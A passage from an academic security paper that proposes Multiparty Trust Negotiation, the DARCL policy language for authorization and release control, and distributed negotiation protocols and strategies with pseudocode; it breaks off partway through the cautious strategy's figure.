ation protocol, we propose two negotiation strategies, both safe and complete, to
drive MTN with different tradeoffs between privacy and negotiation speed.

1 Introduction

Conventional authorization systems are closed in the sense that all important properties
of a user are known in advance, before the user requests authorization. In open distrib-
uted systems like the Web, however, often strangers have to interact with one another to
receive or provide services. When two parties interact to reach an authorization decision,
automated trust negotiation (ATN) is an effective approach to establishing trust without
any prior knowledge of each other. Under ATN, each party has authorization policies
based on digital credentials to limit outsiders’ access to its sensitive resources. When an
outsider requests access to a sensitive resource, the ensuing trust negotiation includes
a sequence of bilateral credential disclosures. Less sensitive credentials are disclosed
first, to build up enough trust to disclose more sensitive credentials. The negotiation
ends when the resource owner’s authorization policy for access is satisfied, it becomes
clear that trust will not be established, or either party breaks off the negotiation. If trust
is established, the resource requester is authorized to access the owner’s resource.

Real world authorization decisions often involve more than two parties. For exam-
ple, when one submits an online application for purchase of automobile insurance, the
insurance company needs to evaluate the buyer’s driving record and credit scores to
reduce the risk of the sale. The authorization process can be decomposed into a num-
ber of two-party negotiations, i.e., one negotiation between the insurance company and

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 282–299, 2008.
c© Springer-Verlag Berlin Heidelberg 2008
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the buyer for the purchase, another between the insurance company and the Depart-
ment of Motor Vehicles (DMV) for the buyer’s driving record, and a third between the
insurance company and the credit bureau for the buyer’s credit scores. However, decom-
position is insufficient to reduce an automated multiparty authorization into standalone
two-party trust negotiations, because individual negotiations may depend on one an-
other, and therefore need to be interleaved in a certain order for the overall negotiation
to succeed. For example, the negotiation between the insurance company and the buyer
cannot finish until the insurance company gets the result from the negotiation between
the insurance company and the credit bureau for the credit report, which in turn requires
the insurance company to get the buyer’s authorization for a credit check. For such a
multiparty authorization, we need a policy language expressive enough to describe the
dependencies between the participating parties and their requests, and a systematic and
automated way to decompose the authorization into multiple two-party negotiations and
interleave them in an order that respects the dependencies. We also need a way to detect
cycles of dependencies and handle them appropriately at run time. Overall, we need a
new authorization paradigm, Multiparty Trust Negotiation (MTN), where a negotiation
can be automatically carried out among multiple parties in accordance with each party’s
authorization policies.

Copyright, privacy, and security considerations often lead users to restrict the flow
of sensitive information. For example, the Health Insurance Portability and Account-
ability Act (HIPAA) [1] requires hospitals to make a reasonable effort to disclose only
the minimum necessary health information to third parties for purposes such as diag-
nosis and payment. Inappropriate disclosures can cause privacy breaches and serious
damage such as identity theft. In such situations, a release control policy is used to
specify the conditions under which a piece of information can be disclosed (sent) to an-
other party. Release policies are related to authorization policies, which govern access
to arbitrary resources under a “pull” paradigm. For example, an authorization policy
decides whether Alice can access a highly classified database, while a release control
policy decides who will be told that Alice has such a privilege. Some policy languages
clearly distinguish between these two kinds of policies [2,3], and put restrictions on
how they can be used together; e.g., one cannot base an authorization decision on a
release control condition. In the DARCL policy language proposed in this paper, autho-
rization and release control are naturally integrated: an authorization can be based on a
release condition, and vice versa. Further, DARCL allows the policy writer to specify
both the source and destination of each disclosure, so that an authorization decision can
be based not only on the content of received information, but also on its source. This
feature allows DARCL to specify useful policies that other languages cannot, and also
makes DARCL a suitable policy language for MTN. For example, DARCL makes it
easy to say that before Alice gives Bob access to a certain resource, Bob has to disclose
certain of his qualifications to Alice and a third party Carl has to vouch for Bob.

A trust negotiation protocol specifies high-level conventions for communication be-
tween negotiating parties, including a set of permissible message types. In the most com-
mon form of two-party negotiation protocol [4,5,6,7], each party takes turns sending
messages until the negotiation succeeds or fails. It is harder to define a protocol that
works for more than two parties. If we allow one peer to assume the role as a negotiation
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moderator, the moderator can organize the negotiation into multiple rounds. In each
round, a peer sends requests to others and replies to requests it receives in previous
rounds. The negotiation continues until at a certain round, the moderator declares the
success or failure of the negotiation. Unfortunately, the centralized control of the mod-
erator approach directly contradicts the autonomous nature of open distributed systems.
For example, we need to be able to allow negotiating parties to leave and rejoin the ne-
gotiation on the fly, making the moderator’s job complex and hard to scale. Ideally, an
MTN protocol should be distributed and free of centralized control.

We make the following contributions in this paper:

1. We propose MTN as a new paradigm for establishing trust in open distributed sys-
tems, while leveraging the effectiveness of two-party ATN. We extend and redefine
concepts and theories developed for ATN, so that we can use them to establish trust
among multiple parties.

2. We define DARCL as the first distributed policy language that supports both autho-
rization and release control in a unified way. DARCL policies can take the source
and destination of each credential disclosure into consideration, allowing policy-
writers to specify finer-grained access control constraints than with existing lan-
guages [8,9,10,11].

3. We present a lightweight distributed protocol for MTN, whose decentralized nature
makes it well-suited for peer-to-peer environments.

4. We provide two MTN negotiation strategies that are safe and complete, with differ-
ent tradeoffs between privacy and negotiation speed.

The rest of the paper is organized as follows. In Section 2 we present related work. In
Section 3 we define the DARCL policy language and related concepts. In Section 4 we
define MTN protocols and strategies, and introduce the diffusion negotiation protocol.
We present an eager negotiation strategy in Section 5 and a more cautious strategy in
Section 6. We give conclusions and discuss future work in Section 7.

2 Related Work

Since Winsborough et al. first introduced automated trust negotiation [4], a growing
body of work has been done in this area. Yu et al. [5,12,13] differentiated negotiation
strategies from protocols, proposed ways to limit the disclosure of sensitive credentials,
and devised ways to allow each negotiating party to pick its own negotiation strategy
autonomously. We build on their work by extending their basic concepts such as disclo-
sure sequences and strategies to work in an environment with more than two parties.

There are prior efforts to apply ATN to establish trust specifically in P2P systems. Ye
et al. [14] proposed a collaborative ATN scheme that uses locally trusted third parties
(LLTPs) to solve circular policy dependencies during negotiation. One of our goals is
to be able to handle certain common types of circular dependencies without relying on
trusted third parties. Bertino et al. [15] proposed Trust-X as a comprehensive framework
for ATN in a P2P environment. Trust-X offers a number of innovative features, such as
trust tickets, to speed up the negotiation. Both of these projects support two-party trust
negotiation only.
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The research in distributed credential discovery and proof construction is the closest
to our work. QCM [16] and its successor SD3 [10] are trust management systems that
can automatically and recursively contact a remote party to gather credentials during the
policy evaluation. Li et al. [17] designed a goal-directed credential chain discovery al-
gorithm for their RT family of role-based trust-management systems, which was further
enhanced to support parameterized roles and constraints [18]. Bauer et al. [19] designed
a lazy proof construction algorithm that places the burden of proof on the credential is-
suers; later they revised this algorithm to improve performance [20] through techniques
such as pre-computing delegation chains. Compared to these proof construction algo-
rithms, MTN better supports autonomy for each peer with respect to which message
to send, and more naturally fits environments where peers employ customized negoti-
ation strategies based on their own constraints such as privacy sensitivity and resource
availability, and only provide best-effort service. A second difference is that MTN bases
its authorizations on iterative asynchronous message exchange, instead of the recursive
RPC used in distributed proof construction approaches. This simplifies implementation
and lowers runtime costs for maintaining the complex state of recursive RPCs. The third
difference is that the end result of a proof construction algorithm is a proof of autho-
rization, encoded as a tree or list of rules, facts, and derivation rules, which the resource
owner has to verify. Parts of the proof may be repeatedly verified by different peers
while the proof is constructed. MTN, however, uses only signed facts in disclosures,
and eliminates the need for proof delivery and verification.

Like almost every authorization policy language from the research community,
DARCL is based on Datalog [10,8,21,22,7,3]. Similar to the policy languages of
PeerTrust [6], Cassandra [11], and PeerAccess [3], DARCL can explicitly model the
origin, flow, and distribution of credentials, which is implicit in other languages; yet
only DARCL allows explicit specification of constraints on the source and destination
of each disclosure, which gives the policy-writer finer-grained control over credential
flow and makes DARCL a suitable policy language for MTN.

Multiparty negotiation has been a research topic in multi-agent systems and business
intelligence. CONCENSUS [23] uses multiparty negotiation for conflict resolution in
concurrent engineering design. Querou et al. [24] presented an iterative method for
generating Pareto-optimal solutions in multiparty negotiations. Both of them are based
on mathematical models for quantitative conflict resolution, while MTN is driven by
authorization policies specified in logical formulas.

3 The DARCL Policy Language

We model a distributed system as a finite set of peers, each possessing a finite knowl-
edge base, who communicate with each other by exchanging messages about their re-
sources and services. Following the popular trend in trust management [10,8,21,22],
we propose a declarative policy language, DARCL, based on Datalog. The syntax of
DARCL is given in Figure 1. A peer’s authorization policy for access to a resource or
service consists of a set of DARCL rules specifying the conditions that must be satisfied
before the access to the service can be granted.
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rule ::= disclosure ← disclosure ∧ · · · ∧ disclosure
disclosure ::= peer↑credential↓peer
credential ::= peer.credential name(term, . . . , term)
term ::= peer | value
peer ::= variable | peer name
value ::= variable | string
variable ::= x | y | . . .
peer name ::= Alice | Bob | . . .
credential name ::= string

Fig. 1. Syntax of DARCL

In DARCL, credentials are signed predicates, which can be used to represent at-
tributes of subjects and authorizations for access to resources and services. DARCL
abstracts away several properties of real-world credentials such as X.509 certificates,
retaining only those needed to reason about distributed authorization. In the creden-
tial University.isRegisteredStudent(Alice), University is the issuer who signs the
credential, Alice is the subject, and isRegisteredStudent is the credential name. A
credential can have more than one subject. In this paper, all DARCL credential names
and peer names will have more than one letter, to distinguish them from variables such
as x and y; and peer names will not be used as string-valued terms. We can instantiate
a variable in a DARCL formula by replacing all its occurrences with a constant. If a
DARCL formula does not contain any variables, then it is ground.

We use peer0 ↑C ↓peer1 to denote a disclosure, the sending of a message from one
peer to another, where peer0 is the source and peer1 is the destination of the message,
and C is its content. The head of each DARCL rule contains a disclosure. A rule’s body
can be empty, in which case the head of the rule is a fact. Intuitively, Alice ↑ C0 ↓Bob
in a rule’s head means Alice authorizes the disclosure of C0 to Bob, and Bob ↑ C1 ↓
Alice in a rule’s body means Alice has received C1 from Bob. DARCL rules must also
satisfy three additional constraints, which simplify rule specification and prevent certain
nonsensical policies. Let S0 ↑ C0 ↓D0 ← S1 ↑ C1 ↓D1, . . . , Sn ↑ Cn ↓Dn be a rule in
Alice’s authorization policy.

1. For every i ∈ [0, n], either Si or Di must be Alice; when the rule’s body is not
empty, the source S0 of the disclosure in the rule’s head must be Alice. This is
because Alice can only base her authorization decisions on her local state, i.e., her
own policies plus the credentials that have been sent to her. What kind of creden-
tial another party Bob sends to Carl is beyond Alice’s knowledge; similarly, Alice
cannot force Bob to disclose a credential.

2. If the issuer of the credential C0 in the head is not Alice and the rule’s body is not
empty, then C0 must be one of the credentials Ci in the body, 1 ≤ i ≤ n. In other
words, before Alice can disclose a credential signed by somebody else, she must
have received it.

3. Every variable in the rule body must also occur in the head. Under this constraint,
if the disclosure in the head of a rule is ground after variable instantiations, so are
the disclosures in the body of the rule. As enforced in our inference rules shown
later, at run time every disclosed credential will be ground.
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When the source and destination of a disclosure are the same peer, e.g., Alice ↑ C ↓
Alice, we call it a singular-disclosure. We use the singular-disclosure Alice↑C↓Alice
to represent the fact that Alice possesses the credential C. If the issuer of C is not Alice,
Alice ↑ C ↓Alice means Alice has received C. If Alice is the issuer of C, then Alice ↑
C ↓ Alice means Alice is willing to sign or has signed C, depending on whether it is
in the head or body of the rule. For simplification, we abbreviate a singular-disclosure
Alice↑C↓Alice as just C. This simplification causes no confusion, because restriction
1 tells us that C in Alice’s knowledge base must stand for Alice ↑ C ↓ Alice, and not
Bob↑C ↓Bob. If a disclosure’s source and destination are different, we call it a remote
disclosure. If an authorization rule’s head is a remote disclosure, then it is a release
control rule. The collection of all a peer’s policies and credentials is its knowledge
base.

In practice, credentials are often stored with their issuers or their subjects [17,25]; in
such a case, the source of a disclosure can be constrained to be the credential’s issuer
or one of its subjects. Such constraints are easy to express in DARCL but not built
into the language, because we want to support additional scenarios, such as when the
distribution of credentials is outsourced to a third party.

3.1 Policy Examples

We use two examples to show how DARCL can be used to specify release control and
authorization policies.

Example 1 Consider the following set of rules in Alice’s knowledge base:

(1) Bob.trusts(Carrie) ← Bob↑Bob.trusts(Carrie)↓Alice
(2) Alice↑Bob.trusts(Carrie)↓Diana ← Bob.trusts(Carrie)
(3) Alice↑Bob.trusts(Carrie)↓x ← Bob↑Bob.trusts(Carrie)↓Alice ∧

Carrie↑Bob.trusts(Carrie)↓Alice
(4) Alice.trusts(x) ← Diana.trusts(x)
(5) Alice↑Alice.trusts(Diana)↓x ← Alice.trusts(x)

Rule (1) is trivial: it says that if Bob tells Alice that he trusts Carrie, Alice knows that
he trusts Carrie. Rule (2) says that if Alice knows that Bob trusts Carrie, Alice will
tell Diana about it. Rule (3) says that if both Bob and Carrie tell Alice that Bob trusts
Carrie, Alice will tell everybody about it; Alice’s intuition is that since both Bob and
Carrie are open with her about it, they probably do not treat it as a secret. Rule (4) says
that Alice will trust anyone that she knows that Diana trusts. Rule (5) says that Alice
will tell everyone she trusts about the fact that she trusts Diana. The difference between
a singular-disclosure d = Alice.trusts(Diana) and a regular disclosure Alice ↑ d ↓
Eddie is clear: the former states that Alice trusts Diana, while the latter states to whom
Alice discloses that fact. Note that if we restrict the rules to use singular-disclosures
only, DARCL shrinks to a variant of existing Datalog-based authorization languages,
such as those used in [8,9,10]. These languages deal with authorization but not release
control, thus cannot specify rules like (3).
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Example 2 Suppose Alice, a Canadian national, would like to apply for a digital Mexi-
can visa so that she can enter Mexico as a tourist. For security considerations, the Mex-
ican government has a new policy that requires its visa department, Embassy of Mexico
(EM), not to issue a visa for any Canadian national unless the applicant presents a valid
Canadian passport and passes the background check of Mexico’s security agency, Di-
reccion Federal de Seguridad (DFS). To respect privacy, DFS will not release Alice’s
background check result to EM unless DFS gets Alice’s permission to do so first. For
convenience and security considerations, DFS, as a security agency, deals directly with
EM, but not directly with any individual; therefore, any communication between Al-
ice and the DFS has to go through EM. Alice is willing to give EM what it requests,
provided that she can verify that EM has a digital certificate signed by the Mexican
government (MG) to show that EM really is the official Mexican embassy. EM, on the
other hand, is willing to show its certificate signed by MG to anyone. In DARCL, these
policies are as follows:

EM:
EM ↑EM.visa(x)↓x ← x↑Canada.passport(x)↓EM ∧

x↑x.OkToRelease(DFS , EM)↓EM ∧ DFS ↑DFS .clear(x)↓EM
EM ↑x.OkToRelease(DFS , EM)↓DFS ← x↑x.OkToRelease(DFS , EM)↓EM
EM ↑MG.officialEmbassy(EM)↓x

DFS:
DFS ↑DFS .clear(x)↓EM ← EM ↑x.okToRelease(DFS , EM)↓DFS ∧

DFS .clear(x)
Alice:

Alice↑Alice.okToRelease(DFS , x)↓x ← x↑MG.officialEmbassy(x)↓Alice
Alice↑Canada.passport(Alice)↓x ← x↑MG.officialEmbassy(x)↓Alice ∧

Canada.passport(Alice)

We will revisit these examples in subsequent sections.

3.2 Inference Rules

Our next step is to show how authorization decisions can be made based on DARCL
policies. Sometimes a peer can make an authorization decision based on only its local
authorization policies. Other times, an authorization decision is collectively based on
the peer’s local policies and the information it receives from other peers. Accordingly,
DARCL has two types of inference rules, local and global. From a logical perspective,
the local inference rules are used to derive new facts or rules within a peer’s knowledge
base, while the global inference rules, together with the local inference rules, can be
used to derive new facts based on more than one peer’s knowledge base.

Local Inference Rules A peer A can use the following local derivation rules.

– Instantiation. From a rule r in A’s knowledge base, derive an instance of r by
replacing all occurrences of the same variable in r with another variable or literal.

– Knowledge. From B ↑d↓A, derive A↑d↓A.
– Modus ponens. From a rule d0 ← d1 ∧ · · · ∧ dn and facts di, 1 ≤ i ≤ n in A’s

knowledge base, derive d0.
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Global Inference Rule

– From A↑d↓B in A’s knowledge base, where d is ground, derive A↑d↓B in B’s
knowledge base.

Returning to Example 1, let us see how we can use the inference rules to decide
whether Alice can tell Edward that she trusts Diana. Suppose Diana trusts Edward
and has told Alice about it; i.e., Alice’s knowledge base has Diana ↑ Diana.trusts
(Edward)↓Alice. By the knowledge rule, we derive Diana.trusts(Edward). Apply-
ing instantiation and modus ponens on rule (4), we get Alice.trusts(Edward). Repeat-
ing the same derivations on rule (5), we get Alice ↑Alice.trusts(Diana) ↓Edward;
i.e., Alice can tell Edward that she trusts Diana.

If we apply both the local and global inference rules to all policies in everyone’s
knowledge bases, we can reason about every possible authorization that any peer can
ever make. Continuing with Example 1, if we apply the global inference rule on the
fact Alice ↑ Alice.trusts(Diana) ↓ Edward in Alice’s knowledge base, we derive
Alice↑Alice.trusts(Diana)↓Edward in Edward’s knowledge base.

Although it is theoretically interesting to reason about authorizations globally, in
practice there is no omniscient authority to reason about everyone’s policies in an open
distributed system. Before Alice approves an authorization request from Bob, she may
request credentials from Bob and other peers, which can trigger more rounds of creden-
tial requests and disclosures. MTN is such a process, where peers conduct multilateral
message exchanges to collectively make an authorization decision without losing each
peer’s autonomy; i.e., at any moment, each peer’s authorization decisions are still based
on its current local policies.

DARCL also has a declarative semantics, which interested readers can find in an
extended version of this paper [26].

3.3 Disclosure Sequences

We say a ground disclosure d = Alice ↑ C ↓Bob is unlocked if d is already in Alice’s
knowledge base, or d can be derived in Alice’s knowledge base using the local inference
rules; otherwise, d is locked. Suppose d is locked, and will be unlocked if Alice receives
disclosures d1, . . . , dn from other peers; we say d is unlocked by d1, . . . , dn. We say a
ground disclosure e is a relevant disclosure for d if e derives e by the knowledge rule,
or there exists an instantiation r′ of rule r that has d as its head and e is a disclosure in
the body of r′. If e is a relevant disclosure for d, then every relevant disclosure for e is
also a relevant disclosure for d.

A ground disclosure is safe if it is unlocked at the time it takes place. For example,
Alice can safely disclose C to Bob if Alice↑C ↓Bob is unlocked in Alice’s knowledge
base. We define a disclosure sequence Seq as [d1, . . . , dn], where each di = Si ↑Ci ↓Di

is a remote disclosure representing Si disclosing Ci to Di, and each di+1 takes place
after di. Seq is a safe disclosure sequence for dn (or simply safe) if each di is safe at
the time it takes place. More specifically, every di must either be unlocked before the
first disclosure in S takes place, or be unlocked once di−1 has taken place. When Seq
is safe, [d1, . . . , di] is a safe disclosure sequence for di, which gives us the following
proposition.
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PARTICIPATEINMTN () {
while willing to participate do

if the incoming message queue is empty then
Wait a short period of time for new messages

if there is a new message in the incoming message queue then
Choose such a message m and remove it from the queue
Record m’s receipt time as the current time
ProcessMessage(m)

}

/* message handler */
PROCESSMESSAGE (m) {

/* Mreceived and Msent store received and sent messages respectively */
Mreceived = Mreceived ∪ {m}
If m is a disclosure, add m to the local knowledge base L
Apply the local negotiation strategy with parameters Mreceived, Msent, and L,
which returns a list of messages M
/* send the messages to their intended recipients */
if M is not empty then

for every message k in M do
Send k to its specified recipient
Record k’s sending time as the current time
Msent = Msent ∪ {k}

}

Fig. 2. The Diffusion Negotiation Protocol

Proposition 1. If [d1, . . . , dn] is a safe disclosure sequence, then there is a safe disclo-
sure sequence for di with at most i disclosures, for every 1 ≤ i ≤ n.

The existence of a safe disclosure sequence S for d = Bob↑C ↓Alice means that if the
disclosures take place in the order given in S, resource owner Bob can eventually safely
grant Alice access to resource C, without violating any peer’s authorization policy. Sup-
pose that in Example 2, DFS clears Alice’s background by signing DFS .clear(Alice);
then there is the following safe disclosure sequence that leads to EM sending a signed
visa to Alice.

[ EM ↑MG.officialEmbassy(EM)↓Alice, Alice↑Canada.passport(Alice)↓EM ,
Alice↑Alice.okToRelease(DFS , EM)↓EM , EM ↑Alice.okToRelease(DFS , EM)↓DFS ,
DFS ↑DFS .clear(Alice)↓EM , EM ↑EM.visa(Alice)↓Alice ]

The goal of MTN is to find such a safe disclosure sequence.

4 MTN Protocols and Strategies

In our authorization framework, peers negotiate with each other by sending messages,
following the conventions specified by a negotiation protocol. Protocols can be spec-
ified at different levels. At the lowest level, a protocol defines how messages can be
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encoded and transferred through a particular medium. For our purpose of trust negotia-
tion research, we are primarily concerned with high-level message-passing conventions
regarding how to start a negotiation, when it is a particular peer’s turn to send a message,
what the formats of the messages are, and how to tell whether a negotiation succeeds or
fails. On top of a common negotiation protocol, a peer employs a negotiation strategy,
which is its plan of action to achieve a certain goal, e.g., reaching a successful con-
clusion to the negotiation as soon as possible. More specifically, a negotiation strategy
decides the content of each message, i.e., what messages to send back in reply to a
received message.

We propose a completely distributed MTN protocol that allows the negotiation to
proceed without any centralized control. Party A starts a negotiation by sending a
ground request r = ?B ↑ R ↓ A to another party B. We call A the originator and r
the originating request of the MTN. After the originating request is sent, no peer sends
any message as part of this negotiation, unless it first receives a message. Once a party
receives a message, it sends a finite number (possibly zero) of messages to other par-
ties, and then remains “silent” until it receives another message. This protocol for MTN
falls into the general class of protocols that Dijkstra and Scholten describe as diffusing
computation [27], provided that the number of messages that each party sends within a
single negotiation is finite, which always has to be true for the negotiation to be useful.
We therefore call this MTN protocol the diffusion protocol. An MTN succeeds when the
requested disclosure in the originating request is actually made (e.g., when Bob actu-
ally grants Alice access to his resource). An MTN terminates when none of the parties
sends or receives any more messages.

We give the pseudocode for the diffusion protocol in Figure 2. A peer willing to
participate in an MTN is either waiting for messages from other peers, or processing
received messages. Incoming messages are put in a queue until processed. The choice
of which queued message to process next is a strategic decision; for the purpose of this
paper, any choice is satisfactory (FIFO, LIFO, random, giving higher priority to certain
peers or message types, etc.).

Each incoming message is stamped with a receipt time when it is processed, and
each outgoing message is stamped with a sending time. Both timestamps represent the
party’s local time; in other words, we do not assume a globally consistent time clock.
We do assume that if a peer Alice sends (respectively, processes) message 1 and later
sends (resp. processes) message 2, then Alice’s timestamp for message 1 is earlier than
her timestamp for message 2. Messages already processed or being processed are stored
in the set Mreceived, while those already sent to others are stored in the set Msent. A
message can be a disclosure d, a request for d (denoted ?d), a denial to disclose d
(denoted as !d), or any other type of message that is specific to the strategy that the
participating parties adopt. To process a new message m, the local party Pthis adds
m to Mreceived, and calls its local negotiation strategy with Mreceived, Msent, and its
local authorization rules L. The negotiation strategy returns a list of messages, which
P subsequently sends to the appropriate recipients. The diffusion protocol is strategy-
neutral, meaning that different MTNs can use different strategies while following the
same protocol.
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We make the following assumptions and simplifications. For clarity, the strategy in
Figure 2 is written as though only one negotiation takes place at a time. To support
multiple concurrent negotiations, the originating request should include a new globally
unique session ID, and the protocol should associate that session ID with each message
sent as part of the negotiation. Similarly, the message handler PROCESSMESSAGE and
the negotiation strategies given in subsequent sections should all be parameterized with
the session ID so that they deal each negotiation separately. While we do not explicitly
deal with lost or delayed messages, in practice they can be detected through prede-
fined timeouts and handled accordingly. We require that peers communicate through
secured channels, and all the credentials exchanged are digitally signed, thus verifiable,
nonforgeable, and nonrepudiable.

5 Eager Strategies

A party can adopt an eager strategy if it is eager to bring the negotiation to a successful
conclusion as soon as possible. To speed up the negotiation, an eager strategy aggres-
sively requests relevant remote disclosures and is willing to make requested disclosures
as soon as they become unlocked. The first eager strategy that we present is a relatively
unsophisticated version, which we call the basic eager strategy (BES).

5.1 Basic Eager Strategy

Figure 3 gives the BES strategy. For a participating peer Pthis, the goal is to calculate
Dnew, the set of unlocked disclosures that are requested by other parties, but not dis-
closed yet; and Qnew, the set of disclosures that Pthis would like to request from other
parties. The current message m has the latest timestamp in Mreceived. If m is a disclo-
sure d, we calculate Dunlocked, the set of disclosures that are unlocked by d and other
previously received disclosures. Since there is no need to disclose unrequested creden-
tials or make the same disclosure to the same peer twice, we intersect Dunlocked and
the disclosures Qreceived that other parties requested from Pthis, then subtract Dsent,
which contains all disclosures already sent, and finally get Dnew. If m happens to be
a request for disclosure d that is unlocked already, we can simply set Dnew to be {d}.
If, however, d is still locked, we calculate the set Drelevant of all relevant remote dis-
closures for d, then subtract all disclosures Pthis received and all disclosures Pthis

requested from others, which gives us Qnew, the new disclosures that Pthis will request
from others in order to unlock d. Adding the disclosures in Dnew and the requests for
the disclosures in Qnew, we get the messages that Pthis will send as a response to m.

We are particularly interested in two basic properties of a strategy: safety and com-
pleteness. A strategy is safe if every disclosure in the negotiation is safe. Assume that
every peer involved in the negotiation follows the same strategy Θ and is willing to par-
ticipate, and there is no loss of messages. Then strategy Θ is complete if the negotiation
succeeds whenever there is a safe disclosure sequence for the originating request.

Theorem 1. The BES strategy is both safe and complete.

Due to page limitations, we omit all proofs from this paper; interested readers can find
them in an extended version of this paper [26].
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1. BASICEAGERSTRATEGY (Mreceived, Msent, L) {
2. Let Pthis be the current peer
3. m = the latest message in Mreceived

4. Qsent = set of disclosures Pthis requested from others
5. Qreceived = set of disclosures others requested from Pthis

6. Qnew = ∅
7. Dsent = set of disclosures Pthis sent to others
8. Dreceived = set of disclosures Pthis received from others
9. Dnew = ∅

10.
11. if m is a disclosure d then
12. /* Calculate new disclosures Dnew that Pthis will send to other parties */
13. Dunlocked = all disclosures unlocked by d and other disclosures in Dreceived

14. Dnew = Dunlocked ∩ Qreceived − Dsent

15. else if m is a request for disclosure d then
16. if d is already unlocked then
17. Dnew={d}
18. else
19. /* Calculate new disclosures Qnew that Pthis will request from others */
20. Drelevant = all relevant remote disclosures for d
21. Qnew = Drelevant − Dreceived − Qsent

22.
23. Return the list of messages composed of disclosures in Dnew and requests for

disclosures in Qnew

24. }

Fig. 3. The Basic Eager Strategy

5.2 Full Eager Strategy

BES guarantees every negotiation to succeed if the negotiation has a safe disclosure
sequence. If, however, there is no safe disclosure sequence, the original requester will
not hear anything back about its originating request, which also means that it is unable to
decide when to declare that the negotiation has failed. Presumably, we could solve this
issue by requiring the participating parties to respond with an explicit denial message
when the requested disclosure cannot be made. For example, if Alice finds no rule that
can be used to unlock the originating request she receives, she can just explicitly deny
this request. The decision to deny a request, nonetheless, is not always easy to make.
Suppose Alice’s decision on whether to disclose d1 depends on whether Bob discloses
d2, Bob’s decision on d2 depends on whether Carl discloses d3, and Carl’s decision on
d3 depends on whether Alice discloses d1. With such a circular dependency, if nobody
makes a decision until he or she hears from the dependent party, the negotiation gets
deadlocked. When a deadlock happens and no one sends or receives any messages,
the subnegotiation that spawned the deadlock cycle has effectively terminated. In the
absence of deadlock, an MTN under the BES strategy also always terminates. This is
because the set of peers is finite and BES does not repeat messages: each request or
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1. FULLEAGERSTRATEGY (Mreceived, Msent, L) {
2. Let Pthis be the current peer
3. m = the latest message in Mreceived

4. M1 = ∅
5. /* A data message is a disclosure or a disclosure request */
6. if m is a data message then
7. M1 = BasicEagerStrategy(Mreceived, Msent, L)
8. else
9. m must be an ACK message &e, for some e ∈ Msent. Mark e as ACKed.

10.
11. M2 = ∅
12. T = the set of all data messages that Pthis received and has not ACKed yet.
13. if all data messages that Pthis sent have been ACKed or Pthis is the originator

then
14. add to M2 an ACK message for every message in T
15. else
16. add to M2 an ACK message for every message in T , except the one with the

earliest receipt time
17.
18. Return M1 ∪ M2

19. }

Fig. 4. The Full Eager Strategy

disclosure is sent from one party to another at most once and there are only finitely
many potential relevant queries and disclosures. Given the completeness of BES, the
original requester can declare failure of the negotiation if the originating request has not
been granted when the negotiation terminates. So the problem of detecting the failure
of an MTN under BES can be reduced to the detection of the termination of the MTN.

Dijkstra and Scholten give a signaling scheme [27] that can detect the termination
of a diffusion computation. Their signaling scheme tracks the balance of messages and
signals on each edge between two nodes and centers around a number of invariants on
these balances. By enhancing and simplifying their signaling scheme to match the char-
acteristics of MTN, we provide a simple acknowledgment (ACK) scheme that can be
superimposed on top of BES and detect the termination of an MTN. This results in an
extension of BES, which we call the Full Eager Strategy (FES). We use two types of
messages in FES, data messages and ACK messages. A data message is either a dis-
closure or a disclosure request, as used in BES. An ACK message (&m) acknowledges
(abbreviated as ACKs) a data message m. Each data message gets ACKed exactly once
in FES. A peer’s state is disengaged if all the data messages it sent have been ACKed
and it has ACKed all the data messages it received; otherwise, its state is engaged.

Figure 4 gives the FES strategy. For a newly received message m, we first check its
type. If m is a data message, we apply the BES strategy, and get a set of messages M1

that the current peer Pthis will send out. On the other hand, if m is an ACK message
for a data message e that Pthis sent out earlier, we mark e as ACKed. We then calculate



Distributed Authorization by Multiparty Trust Negotiation 295

the set of data messages that Pthis is going to ACK. If every data message that Pthis

sent out has been ACKed or Pthis is the originator of the MTN, we ACK all messages
in T , the set of data messages received by Pthis and not ACKed yet. If not all data
messages Pthis sent have been ACKed, Pthis ACKs all in T , except the one that has the
earliest receipt timestamp.

Theorem 2. The FES strategy is both safe and complete.

Theorem 3. In every MTN under FES, the originator’s state will eventually become
disengaged. At that point, the negotiation has terminated.

6 Cautious Strategy

As the eager strategies aggressively explore possible routes to speed up the negotiation
by requesting all relevant remote disclosures at the same time, some pending requests
become unnecessary and irrelevant when their alternatives are successfully explored.
Consequently, the participating parties may send more messages to one another than
strictly necessary. For example, when all parties are willing to participate, FES will
eventually find all proofs that the originating request holds, rather than stopping and
canceling all pending requests once it finds the first successful proof. Since credentials
can contain sensitive and valuable information, some parties will place a high priority
on their privacy and would prefer to disclose fewer of their credentials, even at the cost
of increased negotiation time.

To meet these needs, we propose the cautious strategy, which aims to reduce creden-
tial disclosures by making fewer requests in the first place. Under the cautious strategy,
when Alice receives a request for a disclosure d that is still locked, she selects only
one relevant remote disclosure to request from another party, instead of concurrently
requesting all relevant remote disclosures that are still missing in her knowledge base.
If the selected disclosure request gets denied, she requests another relevant remote dis-
closure, and repeats the process until she runs out of options; at that point she explicitly
denies the request for d. Since the MTN is distributed among multiple parties, Alice
may eventually have sent multiple unanswered requests, and special care must be taken
to avoid circular dependencies and prevent deadlock.

Figure 5 describes the cautious strategy. We first examine the type of the message m
newly received by the current peer Pthis. If m is a request for disclosure d, we record
this information in e and save e for later reference. If m is a disclosure d or a denial
for disclosure !d, we examine Pthis’s received messages to find the disclosure e that
Pthis was trying to unlock at the time that it requested d. If no such e exists, d must be
the disclosure in the originating request; in this case, since the originating request has
been answered, we can tell whether the negotiation has succeeded or failed. In other
cases, we need to continue to process the request for disclosure e. If e is unlocked al-
ready, we add it to the return message so that it gets subsequently disclosed. If e is still
locked, we examine e’s relevant remote disclosures to find those that Pthis can poten-
tially request. Let q be the latest request for e in Pthis’s received messages, and f be
any of e’s relevant remote disclosures that are not present in Pthis’s knowledge base.
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1. CAUTIOUSSTRATEGY (Mreceived, Msent, L) {
2. Let Pthis be the current peer
3. m = the latest message in Mreceived

4.
5. if m is a request for a disclosure d then
6. e = d
7. else
8. m must be a disclosure d or a denial !d.
9. Let ?e be the latest request in Mreceived that has not been denied or disclosed,

and for which d is relevant.
10. if no such ?e exists then
11. /* The originating request of the negotiation must be for d. If m is a dis-

closure, the MTN has succeeded; otherwise, m is a denial message, and
the MTN has failed. */

12. Return ∅
13. if e is already unlocked then
14. Return {e}
15. Let S be the set containing all remote disclosures f such that (1) f is relevant to

e, (2) f has not been received by Pthis, (3) if Pthis has requested f , that request
has been denied; and (4) Pthis has not requested f since it received ?e

16. if S is empty then
17. /* There are no more disclosures that Pthis can request to unlock e */
18. Return { !e }
